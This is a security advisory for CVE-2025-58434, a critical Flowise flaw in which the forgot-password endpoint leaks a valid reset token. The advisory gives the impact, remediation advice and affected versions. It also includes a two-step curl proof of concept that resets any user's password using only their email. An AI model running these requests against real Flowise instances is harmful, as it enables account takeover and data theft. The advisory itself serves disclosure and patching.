CVE-2025-58434
Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover
Public exploit code
Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.
- Flowise < 3.0.5 - Missing Authentication for Critical Function2026-05-13 · webapps · typescript
Impact
### Summary The `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete **account takeover (ATO)**. This vulnerability applies to **both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments** that expose the same API. **CVSS v3.1 Base Score:** **9.8 (Critical)** **Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` --- ### Details * The endpoint `/api/v1/account/forgot-password` accepts an email address as input. * Instead of only sending a reset email, the API **responds directly with sensitive user details**, including: * User ID, name, email, hashed credential, status, timestamps. * **A valid `tempToken` and its expiry**, which is intended for password reset. * This `tempToken` can then be reused immediately in the `/api/v1/account/reset-password` endpoint to reset the password of the targeted account **without any email verification** or user interaction. * Exploitation requires only the victim’s email address, which is often guessable or discoverable. * Because the vulnerable endpoints exist in both **Flowise Cloud** and **local/self-hosted deployments**, any exposed instance is vulnerable to account takeover. This effectively allows any unauthenticated attacker to **take over arbitrary accounts** (including admin or privileged accounts) by requesting a reset for their email. --- ### PoC 1. **Request a reset token for the victim** ```bash curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user":{"email":"<victim@example.com>"}}' ``` **Response (201 Created):** ```json { "user": { "id": "<redacted-uuid>", "name": "<redacted>", "email": "<victim@example.com>", "credential": "<redacted-hash>", "tempToken": "<redacted-tempToken>", "tokenExpiry": "2025-08-19T13:00:33.834Z", "status": "active" } } ``` 2. **Use the exposed `tempToken` to reset the password** ```bash curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d '{ "user":{ "email":"<victim@example.com>", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }' ``` **Expected Result:** `200 OK` The victim’s account password is reset, allowing full login. --- ### Impact * **Type:** Authentication bypass / Insecure direct object exposure. * **Impact:** * Any account (including administrator or high-value accounts) can be reset and taken over with only the email address. * Applies to **both Flowise Cloud and locally hosted/self-managed deployments**. * Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets. * High likelihood of exploitation since no prior access or user interaction is required. --- ### Recommended Remediation * **Do not return reset tokens** or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. * Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration. * Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery). * Apply the same fixes to **both cloud and self-hosted/local deployments**. * Log and monitor password reset requests for suspicious activity. * Consider multi-factor verification for sensitive accounts. Credit --- ⚠️ This is a **Critical ATO vulnerability** because it allows attackers to compromise any account with only knowledge of an email address, and it applies to **all deployment models (cloud and local)**. ---
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | flowise | <= 3.0.5 | 3.0.6 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Flowiseai | Flowise | before 3.0.6 |